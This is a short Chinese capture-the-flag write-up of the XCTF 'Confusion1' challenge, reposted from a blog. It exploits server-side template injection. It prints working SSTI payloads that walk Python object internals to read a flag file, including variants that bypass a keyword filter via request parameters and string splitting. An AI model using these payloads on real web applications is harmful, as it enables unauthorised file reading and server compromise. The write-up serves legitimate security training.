【网络安全 | XCTF】Confusion1解题详析

发布时间:2023年12月29日

该题考察SSTI注入

正文

题目描述: 某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

在这里插入图片描述
register的源码页面中存在flag路径

在这里插入图片描述
可以看到网站存在SSTI漏洞

在这里插入图片描述

构造POC尝试文件读取:

{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

参数被过滤:

在这里插入图片描述
改参数:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:100] %}
{% if c.__name__=='ca'+'tch_warnings' %}
	{{c['__in'+'it__']['__global'+'s__']['__buil'+'tins__'].open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt','r')['re'+'ad']()}}
{% endif %}
{% endfor %}

得到flag

在这里插入图片描述

文章来源:https://blog.csdn.net/2301_77485708/article/details/135286432
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。